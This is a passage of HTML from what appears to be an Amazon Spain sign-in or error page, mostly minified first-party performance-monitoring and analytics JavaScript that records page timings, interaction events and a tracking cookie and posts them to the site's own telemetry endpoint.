                            }), a.ielf.push(b));
                            k && !k.ts && k.startTimer();
                            a.b && (k = a.b, a.b = "", m(k, c, f, 1))
                        }
                    }

                    function A(b) {
                        var c = x ? x.type : F,
                            d = 2 == c || a.isBFonMshop,
                            c = c && !d,
                            f = a.bfini;
                        if (!Q || a.isBFCache) f && 1 < f && (b += "&bfform=1", c || (a.isBFT = f - 1)), d && (b += "&bfnt=1", a.isBFT = a.isBFT || 1), a.ssw && a.isBFT && (a.isBFonMshop && (a.isNRBF =
                            0), u(a.isNRBF) && (d = a.ssw(a.oid), d.e || u(d.val) || (a.isNRBF = 1 < d.val ? 0 : 1)), u(a.isNRBF) || (b += "&nrbf=" + a.isNRBF)), a.isBFT && !a.isNRBF && (b += "&bft=" + a.isBFT);
                        return b
                    }
                    if (!a.paused && (b || u(c))) {
                        for (var l in c) c[v](l) && e(l, b, c[l]);
                        a.isBFonMshop || y("pc", b, c);
                        l = "ld" === k && b && e("wb", b);
                        var s = e("id", b) || a.id;
                        l || s === a.oid || (D = b, ba(s, (e("t", b) || {}).tc || +e("t0", b), +e("t0", b)));
                        var s = e("id", b) || a.id,
                            t = e("id2", b),
                            f = a.url + "?" + k + "&v=" + a.v + "&id=" + s,
                            J = e("ctb", b) || e("wb", b),
                            z;
                        J && (f += "&ctb=" + J);
                        t && (f += "&id2=" + t);
                        1 < d.ueinit &&
                            (f += "&ic=" + d.ueinit);
                        if (!("ld" != k && "ul" != k || b && b != s)) {
                            if ("ld" == k) {
                                try {
                                    h[K] && h[K].isUeh && (h[K] = null)
                                } catch (I) {}
                                if (h.chrome)
                                    for (t = 0; t < L.length; t++) T(G, L[t]);
                                (t = N.ue_backdetect) && t.ue_back && t.ue_back.value++;
                                d._uess && (z = d._uess());
                                a.isl = 1
                            }
                            a._bf && (f += "&bf=" + a._bf());
                            d.ue_navtiming && g && (e("ctb", s, "1"), a.isBFonMshop || y("tc", F, F, M));
                            !C || a.isBFonMshop || U || (g && B(a.t, {
                                na_: g.navigationStart,
                                ul_: g.unloadEventStart,
                                _ul: g.unloadEventEnd,
                                rd_: g.redirectStart,
                                _rd: g.redirectEnd,
                                fe_: g.fetchStart,
                                lk_: g.domainLookupStart,
                                _lk: g.domainLookupEnd,
                                co_: g.connectStart,
                                _co: g.connectEnd,
                                sc_: g.secureConnectionStart,
                                rq_: g.requestStart,
                                rs_: g.responseStart,
                                _rs: g.responseEnd,
                                dl_: g.domLoading,
                                di_: g.domInteractive,
                                de_: g.domContentLoadedEventStart,
                                _de: g.domContentLoadedEventEnd,
                                _dc: g.domComplete,
                                ld_: g.loadEventStart,
                                _ld: g.loadEventEnd,
                                ntd: ("function" !== typeof C.now || u(M) ? 0 : new E(M + C.now()) - new E) + a.t0
                            }), x && B(a.t, {
                                ty: x.type + a.t0,
                                rc: x.redirectCount + a.t0
                            }), U = 1);
                            a.isBFonMshop || B(a.t, {
                                hob: d.ue_hob,
                                hoe: d.ue_hoe
                            });
                            a.ifr && (f += "&ifr=1")
                        }
                        y(k,
                            b, c, q);
                        var r, n;
                        l || b && b !== s || ca(b);
                        (c = d.ue_mbl) && c.cnt && !l && (f += c.cnt());
                        l ? e("wb", b, 2) : "ld" == k && (a.lid = H(s));
                        for (r in a.sc)
                            if (1 == e("wb", r)) break;
                        if (l) {
                            if (a.s) return;
                            f = p(f, null)
                        } else c = p(f, null), c != f && (c = A(c), a.b = c), z && (f += z), f = p(f, b || a.id);
                        f = A(f);
                        if (a.b || l)
                            for (r in a.sc) 2 == e("wb", r) && delete a.sc[r];
                        z = 0;
                        a._rt && (f += "&rt=" + a._rt());
                        c = h.csa;
                        if (!l && c)
                            for (n in r = e("t", b) || {}, c = c("PageTiming"), r) r[v](n) && c("mark", da[n] || n, r[n]);
                        l || (a.s = 0, (n = d.ue_err) && 0 < n.ec && n.pec < n.ec && (n.pec = n.ec, f += "&ec=" + n.ec + "&ecf=" +
                            n.ecf), z = e("ctb", b), "ld" !== k || b || a.markers ? a.markers && a.isl && !l && b && B(a.markers, e("t", b)) : (a.markers = {}, B(a.markers, e("t", b))), e("t", b, {}));
                        a.tag && a.tag().length && (f += "&csmtags=" + a.tag().join("|"), a.tag = P());
                        n = a.viz || [];
                        (r = n.length) && (f += "&viz=" + n.splice(0, r).join("|"));
                        u(d.ue_pty) || (f += "&pty=" + d.ue_pty + "&spty=" + d.ue_spty + "&pti=" + d.ue_pti);
                        a.tabid && (f += "&tid=" + a.tabid);
                        a.aftb && (f += "&aftb=1");
                        !a._ui || b && b != s || (f += a._ui());
                        f += "&lob=" + (d.ue_lob || "0");
                        a.a = f;
                        m(f, k, z, l, b && "string" === typeof b && -1 !== b.indexOf("csa:"))
                    }
                }

                function ca(a) {
                    var b = h.ue_csm_markers || {},
                        c;
                    for (c in b) b[v](c) && y(c, a, F, b[c])
                }

                function A(a, b, c) {
                    c = c || h;
                    if (c[V]) c[V](a, b, !1);
                    else if (c[W]) c[W]("on" + a, b)
                }

                function T(a, b, c) {
                    c = c || h;
                    if (c[X]) c[X](a, b, !1);
                    else if (c[Y]) c[Y]("on" + a, b)
                }

                function Z() {
                    function a() {
                        d.onUl()
                    }

                    function b(a) {
                        return function() {
                            c[a] || (c[a] = 1, S(a))
                        }
                    }
                    var c = {},
                        e, g;
                    d.onLd = b("ld");
                    d.onLdEnd = b("ld");
                    d.onUl = b("ul");
                    e = {
                        stop: b("os")
                    };
                    h.chrome ? (A(G, a), L.push(a)) : e[G] = d.onUl;
                    for (g in e) e[v](g) && R(0, h, g, e[g]);
                    d.ue_viz && ue_viz();
                    A("load", d.onLd);
                    y("ue")
                }

                function ba(e, b, c) {
                    var g = d.ue_mbl,
                        p = h.csa,
                        m = p && p("SPA"),
                        p = p && p("PageTiming");
                    g && g.ajax && g.ajax(b, c);
                    m && p && (m("newPage", {
                        requestId: e,
                        transitionType: "soft"
                    }), p("mark", "transitionStart", b));
                    a.tag("ajax-transition")
                }
                d.ueinit = (d.ueinit || 0) + 1;
                var a = d.ue = d.ue || {};
                a.t0 = h.aPageStart || d.ue_t0;
                a.id = d.ue_id;
                a.url = d.ue_url;
                a.rid = d.ue_id;
                a.a = "";
                a.b = "";
                a.h = {};
                a.s = 1;
                a.t = {};
                a.sc = {};
                a.iel = [];
                a.ielf = [];
                a.viz = [];
                a.v = "0.286992.0";
                a.paused = !1;
                var v = "hasOwnProperty",
                    G = "beforeunload",
                    K = "on" + G,
                    V = "addEventListener",
                    X = "removeEventListener",
                    W = "attachEvent",
                    Y = "detachEvent",
                    da = {
                        cf: "criticalFeature",
                        af: "aboveTheFold",
                        fn: "functional",
                        fp: "firstPaint",
                        fcp: "firstContentfulPaint",
                        bb: "bodyBegin",
                        be: "bodyEnd",
                        ld: "loaded"
                    },
                    E = h.Date,
                    C = h.performance || h.webkitPerformance,
                    g = (C || {}).timing,
                    x = (C || {}).navigation,
                    M = (g || {}).navigationStart,
                    w = d.ue_fpf,
                    Q = 0,
                    U = 0,
                    L = [],
                    D = 0,
                    F;
                a.oid = H(a.id);
                a.lid = H(a.id);
                a._t0 = a.t0;
                a.tag = P();
                a.ifr = h.top !== h.self || h.frameElement ? 1 : 0;
                a.markers = null;
                a.attach = A;
                a.detach = T;
                if ("000-0000000-8675309" === d.ue_sid) {
                    var $ =
                        I("cdn-rid"),
                        aa = I("session-id");
                    $ && aa && O($, aa, "cdn")
                }
                d.uei = Z;
                d.ueh = R;
                d.ues = e;
                d.uet = y;
                d.uex = S;
                a.reset = O;
                a.pause = function(d) {
                    a.paused = d
                };
                Z()
            })(ue_csm, ue_csm.window, ue_csm.document);


            ue.stub(ue, "log");
            ue.stub(ue, "onunload");
            ue.stub(ue, "onflush");
            (function(b) {
                function g() {
                    var a = {
                        requestId: b.ue_id || "rid",
                        server: b.ue_sn || "sn",
                        obfuscatedMarketplaceId: b.ue_mid || "mid"
                    };
                    b.ue_sjslob && (a.lob = b.ue_lob || "0");
                    return a
                }
                var a = b.ue,
                    h = 1 === b.ue_no_counters;
                a.cv = {};
                a.cv.scopes = {};
                a.cv.buffer = [];
                a.count = function(b, f, c) {
                    var e = {},
                        d = a.cv,
                        g = c && 0 === c.c;
                    e.counter = b;
                    e.value = f;
                    e.t = a.d();
                    c && c.scope && (d = a.cv.scopes[c.scope] = a.cv.scopes[c.scope] || {}, e.scope = c.scope);
                    if (void 0 === f) return d[b];
                    d[b] = f;
                    d = 0;
                    c && c.bf && (d = 1);
                    h || (ue_csm.ue_sclog || !a.clog || 0 !== d || g ? a.log && a.log(e,
                        "csmcount", {
                            c: 1,
                            bf: d
                        }) : a.clog(e, "csmcount", {
                        bf: d
                    }));
                    a.cv.buffer.push({
                        c: b,
                        v: f
                    })
                };
                a.count("baselineCounter2", 1);
                a && a.event && (a.event(g(), "csm", "csm.CSMBaselineEvent.4"), a.count("nexusBaselineCounter", 1, {
                    bf: 1
                }))
            })(ue_csm);



            var ue_hoe = +new Date();
        }
        window.ueinit = window.ue_ihb;
    </script>

    <!-- ctzqmqzljkox8hoi69yytvh5np4rizgyoxslr6 -->
    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 10178)
    </script>



    <title>

    </title>







    <link type="text/css" href="https://m.media-amazon.com/images/G/30/x-locale/common/errors-alerts/error-styles-ssl._CB485946634_.css" rel="stylesheet" />








    <link type="text/css" href="https://m.media-amazon.com/images/G/30/authportal/common/css/ap_global._CB485970816_.css" rel="stylesheet" />










    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <script type='text/javascript'>
        window.ue_ihe = (window.ue_ihe || 0) + 1;
        if (window.ue_ihe === 1) {
            (function(c) {
                c && 1 === c.ue_jsmtf && "object" === typeof c.P && "function" === typeof c.P.when && c.P.when("mshop-interactions").execute(function(e) {
                    "object" === typeof e && "function" === typeof e.addListener && e.addListener(function(b) {
                        "object" === typeof b && "ORIGIN" === b.dataSource && "number" === typeof b.clickTime && "object" === typeof b.events && "number" === typeof b.events.pageVisible && (c.ue_jsmtf_interaction = {
                            pv: b.events.pageVisible,
                            ct: b.clickTime
                        })
                    })
                })
            })(ue_csm);
            (function(c, e, b) {
                function m(a) {
                    f || (f = d[a.type].id, "undefined" === typeof a.clientX ? (h = a.pageX, k = a.pageY) : (h = a.clientX, k = a.clientY), 2 != f || l && (l != h || n != k) ? (r(), g.isl && e.setTimeout(function() {
                        p("at", g.id)
                    }, 0)) : (l = h, n = k, f = 0))
                }

                function r() {
                    for (var a in d) d.hasOwnProperty(a) && g.detach(a, m, d[a].parent)
                }

                function s() {
                    for (var a in d) d.hasOwnProperty(a) && g.attach(a, m, d[a].parent)
                }

                function t() {
                    var a = "";
                    !q && f && (q = 1, a += "&ui=" + f);
                    return a
                }
                var g = c.ue,
                    p = c.uex,
                    q = 0,
                    f = 0,
                    l, n, h, k, d = {
                        click: {
                            id: 1,
                            parent: b
                        },
                        mousemove: {
                            id: 2,
                            parent: b
                        },
                        scroll: {
                            id: 3,
                            parent: e
                        },
                        keydown: {
                            id: 4,
                            parent: b
                        }
                    };
                g && p && (s(), g._ui = t)
            })(ue_csm, window, document);


            (function(s, l) {
                function m(b, e, c) {
                    c = c || new Date(+new Date + t);
                    c = "expires=" + c.toUTCString();
                    n.cookie = b + "=" + e + ";" + c + ";path=/"
                }

                function p(b) {
                    b += "=";
                    for (var e = n.cookie.split(";"), c = 0; c < e.length; c++) {
                        for (var a = e[c];
                            " " == a.charAt(0);) a = a.substring(1);
                        if (0 === a.indexOf(b)) return decodeURIComponent(a.substring(b.length, a.length))
                    }
                    return ""
                }

                function q(b, e, c) {
                    if (!e) return b; - 1 < b.indexOf("{") && (b = "");
                    for (var a = b.split("&"), f, d = !1, h = !1, g = 0; g < a.length; g++) f = a[g].split(":"), f[0] == e ? (!c || d ? a.splice(g, 1) : (f[1] = c, a[g] =
                        f.join(":")), h = d = !0) : 2 > f.length && (a.splice(g, 1), h = !0);
                    h && (b = a.join("&"));
                    !d && c && (0 < b.length && (b += "&"), b += e + ":" + c);
                    return b
                }
                var k = s.ue || {},
                    t = 3024E7,
                    n = ue_csm.document || l.document,
                    r = null,
                    d;
                a: {
                    try {
                        d = l.localStorage;
                        break a
                    } catch (u) {}
                    d = void 0
                }
                k.count && k.count("csm.cookieSize", document.cookie.length);
                k.cookie = {
                    get: p,
                    set: m,
                    updateCsmHit: function(b, e, c) {
                        try {
                            var a;
                            if (!(a = r)) {
                                var f;
                                a: {
                                    try {
                                        if (d && d.getItem) {
                                            f = d.getItem("csm-hit");
                                            break a
                                        }
                                    } catch (k) {}
                                    f = void 0
                                }
                                a = f || p("csm-hit") || "{}"
                            }
                            a = q(a, b, e);
                            r = a = q(a, "t", +new Date);
                            try {
                                d && d.setItem && d.setItem("csm-hit", a)
                            } catch (h) {}
                            m("csm-hit", a, c)
                        } catch (g) {
                            "function" == typeof l.ueLogError && ueLogError(Error("Cookie manager: " + g.message), {
                                logLevel: "WARN"
                            })
                        }
                    }
                }
            })(ue_csm, window);


            (function(l, e) {
                function c(b) {
                    b = "";
                    var c = a.isBFT ? "b" : "s",
                        d = "" + a.oid,
                        g = "" + a.lid,
                        h = d;
                    d != g && 20 == g.length && (c += "a", h += "-" + g);
                    a.tabid && (b = a.tabid + "+");
                    b += c + "-" + h;
                    b != f && 100 > b.length && (f = b, a.cookie ? a.cookie.updateCsmHit(m, b + ("|" + +new Date)) : e.cookie = "csm-hit=" + b + ("|" + +new Date) + n + "; path=/")
                }

                function p() {
                    f = 0
                }

                function d(b) {
                    !0 === e[a.pageViz.propHid] ? f = 0 : !1 === e[a.pageViz.propHid] && c({
                        type: "visible"
                    })
                }
                var n = "; expires=" + (new Date(+new Date + 6048E5)).toGMTString(),
                    m = "tb",
                    f, a = l.ue || {},
                    k = a.pageViz && a.pageViz.event &&
                    a.pageViz.propHid;
                a.attach && (a.attach("click", c), a.attach("keyup", c), k || (a.attach("focus", c), a.attach("blur", p)), k && (a.attach(a.pageViz.event, d, e), d({})));
                a.aftb = 1
            })(ue_csm, ue_csm.document);


            ue_csm.ue.stub(ue, "impression");


            ue.stub(ue, "trigger");


            if (window.ue && uet) {
                uet('bb');
            }

        }
    </script>
    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 3172)
    </script>
</head>

<body>

    <script>
        ! function() {
            function n(n, t) {
                var r = i(n);
                return t && (r = r("instance", t)), r
            }
            var r = [],
                c = 0,
                i = function(t) {
                    return function() {
                        var n = c++;
                        return r.push([t, [].slice.call(arguments, 0), n, {
                            time: Date.now()
                        }]), i(n)
                    }
                };
            n._s = r, this.csa = n
        }();;
        csa('Config', {});
        if (window.csa) {
            csa("Config", {

                'Events.Namespace': 'csa',
                'ObfuscatedMarketplaceId': 'A1RKKUPIHCS9HS',
                'Events.SushiEndpoint': 'https://unagi.amazon.es/1/events/com.amazon.csm.csa.prod',
                'CacheDetection.RequestID': "KE82YVBED2PEDHPE6KTZ",
                'CacheDetection.Callback': window.ue && ue.reset,
                'LCP.elementDedup': 1,
                'lob': '0'
            });

            csa("Events")("setEntity", {
                page: {
                    requestId: "KE82YVBED2PEDHPE6KTZ",
                    meaningful: "interactive"
                },
                session: {
                    id: "260-7076577-0538233"
                }
            });
        }! function(r) {
            var e, i, o = "splice",
                u = r.csa,
                f = {},
                c = {},
                a = r.csa._s,
                s = 0,
                l = 0,
                g = -1,
                h = {},
                v = {},
                d = {},
                n = Object.keys,
                p = function() {};

            function t(n, t) {
                return u(n, t)
            }

            function m(n, t) {
                var r = c[n] || {};
                k(r, t), c[n] = r, l++, S(U, 0)
            }

            function w(n, t, r) {
                var i = !0;
                return t = D(t), r && r.buffered && (i = (d[n] || []).every(function(n) {
                    return !1 !== t(n)
                })), i ? (h[n] || (h[n] = []), h[n].push(t), function() {
                    ! function(n, t) {
                        var r = h[n];
                        r && r[o](r.indexOf(t), 1)
                    }(n, t)
                }) : p
            }

            function b(n, t) {
                if (t = D(t), n in v) return t(v[n]), p;
                return w(n, function(n) {
                    return t(n), !1
                })
            }

            function y(n, t) {
                if (u("Errors")("logError", n), f.DEBUG) throw t || n
            }

            function E() {
                return Math.abs(4294967295 * Math.random() | 0).toString(36)
            }

            function D(n, t) {
                return function() {
                    try {
                        return n.apply(this, arguments)
                    } catch (n) {
                        y(n.message || n, n)
                    }
                }
            }

            function S(n, t) {
                return r.setTimeout(D(n), t)
            }

            function U() {
                for (var n = 0; n < a.length;) {
                    var t = a[n],
                        r = t[0] in c;
                    if (!r && !i) return void(s = a.length);
                    r ? (a[o](s = n, 1), I(t)) : n++
                }
                g = l
            }

            function I(n) {
                var t = c[n[0]],
                    r = n[1],
                    i = r[0];
                if (!t || !t[i]) return y("Undefined function: " + t + "/" + i);
                e = n[3], c[n[2]] = t[i].apply(t, r.slice(1)) || {}, e = 0
            }

            function O() {
                i = 1, U()
            }

            function k(t, r) {
                n(r).forEach(function(n) {
                    t[n] = r[n]
                })
            }
            b("$beforeunload", O), m("Config", {
                instance: function(n) {
                    k(f, n)
                }
            }), u.plugin = D(function(n) {
                n(t)
            }), t.config = f, t.register = m, t.on = w, t.once = b, t.blank = p, t.emit = function(n, t, r) {
                for (var i = h[n] || [], e = 0; e < i.length;) !1 === i[e](t) ? i[o](e, 1) : e++;
                v[n] = t || {}, r && r.buffered && (d[n] || (d[n] = []), 100 <= d[n].length && d[n].shift(), d[n].push(t || {}))
            }, t.UUID = function() {
                return [E(), E(), E(), E()].join("-")
            }, t.time = function(n) {
                var t = e ? new Date(e.time) : new Date;
                return "ISO" === n ? t.toISOString() : t.getTime()
            }, t.error = y, t.warn = function(n, t) {
                if (u("Errors")("logWarn", n), f.DEBUG) throw t || n
            }, t.exec = D, t.timeout = S, t.interval = function(n, t) {
                return r.setInterval(D(n), t)
            }, (t.global = r).csa._s.push = function(n) {
                n[0] in c && (!a.length || i) ? (I(n), a.length && g !== l && U()) : a[o](s++, 0, n)
            }, U(), S(function() {
                S(O, f.SkipMissingPluginsTimeout || 5e3)
            }, 1)
        }("undefined" != typeof window ? window : global);
        csa.plugin(function(o) {
            var f = "addEventListener",
                e = "requestAnimationFrame",
                t = o.exec,
                r = o.global,
                u = o.on;
            o.raf = function(n) {
                if (r[e]) return r[e](t(n))
            }, o.on = function(n, e, t, r) {
                if (n && "function" == typeof n[f]) {
                    var i = o.exec(t);
                    return n[f](e, i, r),
                        function() {
                            n.removeEventListener(e, i, r)
                        }
                }
                return "string" == typeof n ? u(n, e, t, r) : o.blank
            }
        });
        csa.plugin(function(o) {
            var t, n, r = {},
                e = "localStorage",
                c = "sessionStorage",
                a = "local",
                i = "session",
                u = o.exec;

            function s(e, t) {
                var n;
                try {
                    r[t] = !!(n = o.global[e]), n = n || {}
                } catch (e) {
                    r[t] = !(n = {})
                }
                return n
            }

            function f() {
                t = t || s(e, a), n = n || s(c, i)
            }

            function l(e) {
                return e && e[i] ? n : t
            }
            o.store = u(function(e, t, n) {
                f();
                var o = l(n);
                return e ? t ? void(o[e] = t) : o[e] : Object.keys(o)
            }), o.storageSupport = u(function() {
                return f(), r
            }), o.deleteStored = u(function(e, t) {
                f();
                var n = l(t);
                if ("function" == typeof e)
                    for (var o in n) n.hasOwnProperty(o) && e(o, n[o]) && delete n[o];
                else delete n[e]
            })
        });
        csa.plugin(function(n) {
            n.types = {
                ovl: function(n) {
                    var r = [];
                    if (n)
                        for (var i in n) n.hasOwnProperty(i) && r.push(n[i]);
                    return r
                }
            }
        });
        csa.plugin(function(c) {
            var e = c.config;

            function n(n) {
                return function(e) {
                    c("Metrics", {
                        producerId: "csa",
                        dimensions: {
                            message: e
                        }
                    })("recordMetric", n, 1)
                }
            }

            function r(r) {
                var o, t, l = c("Events", {
                        producerId: r.producerId,
                        lob: e.lob || "0"
                    }),
                    u = ["name", "type", "csm", "adb"],
                    i = {
                        url: "pageURL",
                        file: "f",
                        line: "l",
                        column: "c"
                    };
                this.log = function(e) {
                    if (! function(e) {
                            if (!e) return !0;
                            for (var n in e) return !1;
                            return !0
                        }(e)) {
                        var n = r.logOptions || {
                            ent: {
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        };
                        l("log", function(n) {
                            return o = c.UUID(), t = {
                                messageId: o,
                                schemaId: r.schemaId || "<ns>.Error.6",
                                errorMessage: n.m || null,
                                attribution: n.attribution || null,
                                logLevel: "FATAL",
                                url: null,
                                file: null,
                                line: null,
                                column: null,
                                stack: n.s || [],
                                context: n.cinfo || {},
                                metadata: {}
                            }, n.logLevel && (t.logLevel = "" + n.logLevel), u.forEach(function(e) {
                                n[e] && (t.metadata[e] = n[e])
                            }), "INFO" === n.logLevel || Object.keys(i).forEach(function(e) {
                                "number" != typeof n[i[e]] && "string" != typeof n[i[e]] || (t[e] = "" + n[i[e]])
                            }), t
                        }(e), n)
                    }
                }
            }
            c.register("Errors", {
                instance: function(e) {
                    return new r(e || {})
                },
                logError: n("jsError"),
                logWarn: n("jsWarn")
            })
        });
        csa.plugin(function(o) {
            var r, e, n, t, a, i = "function",
                u = "willDisappear",
                f = "$app.",
                p = "$document.",
                c = "focus",
                s = "blur",
                d = "active",
                l = "resign",
                $ = o.global,
                b = o.exec,
                m = o.config["Transport.AnonymizeRequests"] || !1,
                g = o("Events"),
                h = $.location,
                v = $.document || {},
                y = $.P || {},
                P = (($.performance || {}).navigation || {}).type,
                w = o.on,
                k = o.emit,
                E = v.hidden,
                T = {};
            h && v && (w($, "beforeunload", D), w($, "pagehide", D), w(v, "visibilitychange", R(p, function() {
                return v.visibilityState || "unknown"
            })), w(v, c, R(p + c)), w(v, s, R(p + s)), y.when && y.when("mash").execute(function(e) {
                e && (w(e, "appPause", R(f + "pause")), w(e, "appResume", R(f + "resume")), R(f + "deviceready")(), $.cordova && $.cordova.platformId && R(f + cordova.platformId)(), w(v, d, R(f + d)), w(v, l, R(f + l)))
            }), e = $.app || {}, n = b(function() {
                k(f + "willDisappear"), D()
            }), a = typeof(t = e[u]) == i, e[u] = b(function() {
                n(), a && t()
            }), $.app || ($.app = e), "complete" === v.readyState ? A() : w($, "load", A), E ? S() : x(), o.on("$app.blur", S), o.on("$app.focus", x), o.on("$document.blur", S), o.on("$document.focus", x), o.on("$document.hidden", S), o.on("$document.visible", x), o.register("SPA", {
                newPage: I
            }), I({
                transitionType: {
                    0: "hard",
                    1: "refresh",
                    2: "back-button"
                } [P] || "unknown"
            }));

            function I(n, e) {
                var t = !!r,
                    a = (e = e || {}).keepPageAttributes;
                t && (k("$beforePageTransition"), k("$pageTransition")), t && !a && g("removeEntity", "page"), r = o.UUID(), a ? T.id = r : T = {
                    schemaId: "<ns>.PageEntity.2",
                    id: r,
                    url: m ? h.href.split("?")[0] : h.href,
                    server: h.hostname,
                    path: h.pathname,
                    referrer: m ? v.referrer.split("?")[0] : v.referrer,
                    title: v.title
                }, Object.keys(n || {}).forEach(function(e) {
                    T[e] = n[e]
                }), g("setEntity", {
                    page: T
                }), k("$pageChange", T, {
                    buffered: 1
                }), t && k("$afterPageTransition")
            }

            function A() {
                k("$load"), k("$ready"), k("$afterload")
            }

            function D() {
                k("$ready"), k("$beforeunload"), k("$unload"), k("$afterunload")
            }

            function S() {
                E || (k("$visible", !1, {
                    buffered: 1
                }), E = !0)
            }

            function x() {
                E && (k("$visible", !0, {
                    buffered: 1
                }), E = !1)
            }

            function R(n, t) {
                return b(function() {
                    var e = typeof t == i ? n + t() : n;
                    k(e)
                })
            }
        });
        csa.plugin(function(c) {
            var e = "Events",
                n = "UNKNOWN",
                s = "id",
                a = "all",
                i = "messageId",
                o = "timestamp",
                u = "producerId",
                r = "application",
                f = "obfuscatedMarketplaceId",
                d = "entities",
                l = "schemaId",
                p = "version",
                v = "attributes",
                g = "<ns>",
                b = "lob",
                t = "session",
                h = c.config,
                m = (c.global.location || {}).host,
                I = h[e + ".Namespace"] || "csa_other",
                y = h.Application || "Other" + (m ? ":" + m : ""),
                O = h["Transport.AnonymizeRequests"] || !1,
                E = c("Transport"),
                U = {},
                A = function(e, t) {
                    Object.keys(e).forEach(t)
                };

            function N(n, i, o) {
                A(i, function(e) {
                    var t = o === a || (o || {})[e];
                    e in n || (n[e] = {
                        version: 1,
                        id: i[e][s] || c.UUID()
                    }), S(n[e], i[e], t)
                })
            }

            function S(t, n, i) {
                A(n, function(e) {
                    ! function(e, t, n) {
                        return "string" != typeof t && e !== p ? c.error("Attribute is not of type string: " + e) : !0 === n || 1 === n || (e === s || !!~(n || []).indexOf(e))
                    }(e, n[e], i) || (t[e] = n[e])
                })
            }

            function k(o, e, r) {
                A(e, function(e) {
                    var t = o[e];
                    if (t[l]) {
                        var n = {},
                            i = {};
                        n[s] = t[s], n[u] = t[u] || r[u], n[l] = t[l], n[p] = t[p]++, n[v] = i, w(n, r), S(i, t, 1), D(i), E("log", n)
                    }
                })
            }

            function w(e, t) {
                e[o] = function(e) {
                    return "number" == typeof e && (e = new Date(e).toISOString()), e || c.time("ISO")
                }(e[o]), e[i] = e[i] || c.UUID(), e[r] = y, e[f] = h.ObfuscatedMarketplaceId || n, e[l] = e[l].replace(g, I), t && t[b] && (e[b] = t[b])
            }

            function D(e) {
                delete e[p], delete e[l], delete e[u]
            }

            function T(o) {
                var r = {};
                this.log = function(e, t) {
                    var n = {},
                        i = (t || {}).ent;
                    return e ? "string" != typeof e[l] ? c.error("A valid schema id is required for the event") : (w(e, o), N(n, U, i), N(n, r, i), N(n, e[d] || {}, i), A(n, function(e) {
                        D(n[e])
                    }), e[u] = o[u], e[d] = n, t && t[b] && (e[b] = t[b]), void E("log", e, t)) : c.error("The event cannot be undefined")
                }, this.setEntity = function(e) {
                    O && delete e[t], N(r, e, a), k(r, e, o)
                }
            }
            h["KillSwitch." + e] || c.register(e, {
                setEntity: function(e) {
                    O && delete e[t], c.emit("$entities.set", e, {
                        buffered: 1
                    }), N(U, e, a), k(U, e, {
                        producerId: "csa",
                        lob: h[b] || "0"
                    })
                },
                removeEntity: function(e) {
                    delete U[e]
                },
                instance: function(e) {
                    return new T(e)
                }
            })
        });
        csa.plugin(function(s) {
            var c, g = "Transport",
                l = "post",
                f = "preflight",
                r = "csa.cajun.",
                i = "store",
                a = "deleteStored",
                u = "sendBeacon",
                t = "__merge",
                e = "messageId",
                n = ".FlushInterval",
                o = 0,
                d = s.config[g + ".BufferSize"] || 2e3,
                h = s.config[g + ".RetryDelay"] || 1500,
                p = s.config[g + ".AnonymizeRequests"] || !1,
                v = {},
                y = 0,
                m = [],
                E = s.global,
                R = E.document,
                b = s.timeout,
                k = E.Object.keys,
                w = s.config[g + n] || 5e3,
                I = w,
                O = s.config[g + n + ".BackoffFactor"] || 1,
                S = s.config[g + n + ".BackoffLimit"] || 3e4,
                B = 0;

            function T(n) {
                if (864e5 < s.time() - +new Date(n.timestamp)) return s.warn("Event is too old: " + n);
                y < d && (n[e] in v || (v[n[e]] = n, y++), "function" == typeof n[t] && n[t](v[n[e]]), !B && o && (B = b(q, function() {
                    var n = I;
                    return I = Math.min(n * O, S), n
                }())))
            }

            function q() {
                m.forEach(function(e) {
                    var o = [];
                    k(v).forEach(function(n) {
                        var t = v[n];
                        e.accepts(t) && o.push(t)
                    }), o.length && (e.chunks ? e.chunks(o).forEach(function(n) {
                        D(e, n)
                    }) : D(e, o))
                }), v = {}, B = 0
            }

            function D(t, e) {
                function o() {
                    s[a](r + n)
                }
                var n = s.UUID();
                s[i](r + n, JSON.stringify(e)), [function(n, t, e) {
                    var o = E.navigator || {},
                        r = E.cordova || {};
                    if (p) return 0;
                    if (!o[u] || !n[l]) return 0;
                    n[f] && r && "ios" === r.platformId && !c && ((new Image).src = n[f]().url, c = 1);
                    var i = n[l](t);
                    if (!i.type && o[u](i.url, i.body)) return e(), 1
                }, function(n, t, e) {
                    if (!n[l]) return 0;
                    var o = n[l](t),
                        r = o.url,
                        i = o.body,
                        c = o.type,
                        f = new XMLHttpRequest,
                        a = 0;

                    function u(n, t, e) {
                        f.open("POST", n), f.withCredentials = !p, e && f.setRequestHeader("Content-Type", e), f.send(t)
                    }
                    return f.onload = function() {
                        f.status < 299 ? e() : s.config[g + ".XHRRetries"] && a < 3 && b(function() {
                            u(r, i, c)
                        }, ++a * h)
                    }, u(r, i, c), 1
                }].some(function(n) {
                    try {
                        return n(t, e, o)
                    } catch (n) {}
                })
            }
            k && (s.once("$afterload", function() {
                o = 1,
                    function(e) {
                        (s[i]() || []).forEach(function(n) {
                            if (!n.indexOf(r)) try {
                                var t = s[i](n);
                                s[a](n), JSON.parse(t).forEach(e)
                            } catch (n) {
                                s.error(n)
                            }
                        })
                    }(T), s.on(R, "visibilitychange", q, !1), q()
            }), s.once("$afterunload", function() {
                o = 1, q()
            }), s.on("$afterPageTransition", function() {
                y = 0, I = w
            }), s.register(g, {
                log: T,
                register: function(n) {
                    m.push(n)
                }
            }))
        });
        csa.plugin(function(n) {
            var r = n.config["Events.SushiEndpoint"];
            n("Transport")("register", {
                accepts: function(n) {
                    return n.schemaId
                },
                post: function(n) {
                    var t = n.map(function(n) {
                        return {
                            data: n
                        }
                    });
                    return {
                        url: r,
                        body: JSON.stringify({
                            events: t
                        })
                    }
                },
                preflight: function() {
                    var n, t = /\/\/(.*?)\//.exec(r);
                    return t && t[1] && (n = "https://" + t[1] + "/ping"), {
                        url: n
                    }
                },
                chunks: function(n) {
                    for (var t = []; 500 < n.length;) t.push(n.splice(0, 500));
                    return t.push(n), t
                }
            })
        });
        csa.plugin(function(n) {
            var t, a, o, r, e = n.config,
                i = "PageViews",
                d = e[i + ".ImpressionMinimumTime"] || 1e3,
                s = "hidden",
                c = "innerHeight",
                l = "innerWidth",
                g = "renderedTo",
                f = g + "Viewed",
                m = g + "Meaningful",
                u = g + "Impressed",
                p = 1,
                v = 2,
                h = 3,
                w = 4,
                y = 5,
                P = "loaded",
